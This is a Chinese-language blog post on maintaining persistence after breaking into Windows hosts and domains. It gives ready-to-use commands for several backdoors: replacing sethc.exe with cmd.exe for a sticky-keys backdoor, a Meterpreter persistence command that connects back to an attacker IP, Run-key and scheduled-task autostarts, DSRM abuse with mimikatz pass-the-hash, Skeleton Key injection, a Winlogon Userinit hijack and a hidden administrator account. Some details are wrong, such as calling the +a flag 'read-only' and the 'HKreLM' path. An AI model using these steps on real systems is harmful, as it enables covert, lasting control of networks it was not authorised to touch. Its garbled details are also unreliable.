内网之权限维持

粘滞键后门

Windows 主机上连续按 5 次 “shift” 键,就可调出粘滞键。而如果能够替换 sethc.exe 这个文件成 cmd.exe 那么连续按 5 次 shift 键将弹出命令行窗口

cd C:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

需要拥有对该文件的完全控制权限

开机自启动后门

msf 可以用 persistence 在注册表创建开机启动任务

meterpreter > run persistence -X -i 5 -p 端口 -r 回连地址
  • 在目标主机的注册表键 HKLM Software Microsoft Windows Currentversion run中添加键值,以便自启动
  • -X 参数指定启动的方式为开机自启动
  • -i 参数指定反向连接的时间间隔
  • -p 参数指定回连的端口
  • -r 参数指定回连的攻击者 ip

你也可以直接用命令行

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "backdoor" /t REG_SZ /d "程序路径" /f

格式

REG ADD "注册表路径" /v "值名" /t "类型" /d "值数据" /f

命令行也可以用 SCHTASKS 创建

SCHTASKS /CREATE /SC ONSTART /TN "任务名称" /TR "程序路径"

当然可以选择更加简单的方式,把程序放在 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 这个目录下就可以实现开机自启动。

DSRM

DSRM (Directory Services Restore Mode,目录恢复模式) 是 Windows 域环境中的域控制器的安全模式启动项。域控都有一个本地管理员账户也就是 DSRM 账户

ntdsutil
set  DSRM password
SYNC  FROM DOMAIN ACCOUNT [username]填写一个域用户,这个域用户的 NTLM HASH 你肯定要知道啊
Q
Q

接着添加注册表

reg add  " HKLM\System\CurrentControlSet\Control\Lsa" /v  DSRMAdminLogonBehavior /t REG_DWORD /d 2

2 表示在任何情况下都可以使用 DSRM 管理员账号登录域控制器

然后你就可以在任何一台域用户机器上,打开 mimikatz pth 过去了

privilege::debug
sekurlsa::pth /domain:域空主机名 /user:Administrator /ntml:那个域用户的hash

Skeleton Key

用 mimikatz 可以安装万能密码 mimikatz,在域控上执行

privilege::debug
misc::skeleton # 注入 skeleton key

然后就可以

net use \\域控Ip\\ipc$ "mimikatz" /user:whoami的值[比如 hacke\administrator]  

直接建立 ipc 连接

DLL 劫持

dll 劫持主要是因为系统加载 dll 文件的顺序差异优先级问题,如果攻击者可以将恶意的 dll 放在优先于正常的 dll 所在目录,那么就能够优先加载恶意的 dll 文件

加载顺序

  1. 程序所在⽬录。
  2. 加载 DLL 时所在的当前⽬录。
  3. 系统⽬录即 SYSTEM32 ⽬录。
  4. 16位系统⽬录即 SYSTEM ⽬录。
  5. Windows ⽬录。
  6. PATH 环境变量中列出的⽬录

Winlogon 用户登录初始化

winlogon.exe 在用户还没有登录系统之前就已经存在,并与密码验证服务相关的重要任务精密相关。

直接修改注册表

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f

powershell 更改使其执行 cmd

Set-ItemProperty   "HKreLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"

Login Scripts 后门

Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。注册表位置是 “HKEY_CURRENT_USER\Environment”

如下是一个添加一个注册表项为 backdoor ,能够弹出计算器的命令

reg add HKEY_CURRENT_USER\Environment /v backdoor /t REG_SZ /d "C:\Windows\System32\calc.exe"

但是这个好像没什么用

进程注入

如果是 user 权限可以考虑注入 exploer.exe 如果是 system 权限则可以注入 winlogon.exe 或者 lassa.exe

影子用户

net user test$ 123456 /add
net localgroup administrators test$ /add

因为用户名后面有个 $, 所以 net user 是查看不到这个用户的

但是在登录的时候会发现,如果可以远程登录的话可以手动修改注册表相关操作

attrib

最近学到了一个很神奇的技巧

attrib +s +a +h +r 文件路径名

可以隐藏文件夹或者文件。并且在资源管理器等程序中都不可见。不影响程序的可执行性

这是因为

  • +s 表示将文件设置为系统文件,使得操作系统在运行时将其隐藏起来。
  • +a 表示将文件设置为只读文件,防止文件被修改或删除。
  • +h 表示将文件设置为隐藏文件,使得文件在资源管理器等应用程序中不可见。
  • +r 表示将文件设置为只读文件,与 +a 参数一样,防止文件被修改或删除。

但是测试发现将 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹下的程序执行了上述命令操作以后开机便不再运行了,真是可惜。具体这个技巧能够用到哪个地方还请各位发挥自己的脑洞啦。

query

这个命令只有在 Windows 专业版才有,家庭版是没有的。

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities 这一栏也只有专业版的注册表有

这个命令可以执行注册表下的命令。

vmware_kV5CWKwni6

比如 query user 执行 quser.exe 命令,query session 执行 qwinsta.exe 命令

在管理员权限下使用

reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities\query" /v shule /t REG_MULTI_SZ /d 0\01\0shule\0calc.exe

然后就可以用

query shule

弹出计算器

  • v 参数是任意命名
  • t 参数指定类型
  • d 参数指定注册表的值

这个技巧或许可以在隐藏命令的时候有用,特定的后门,发挥脑洞吧!

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇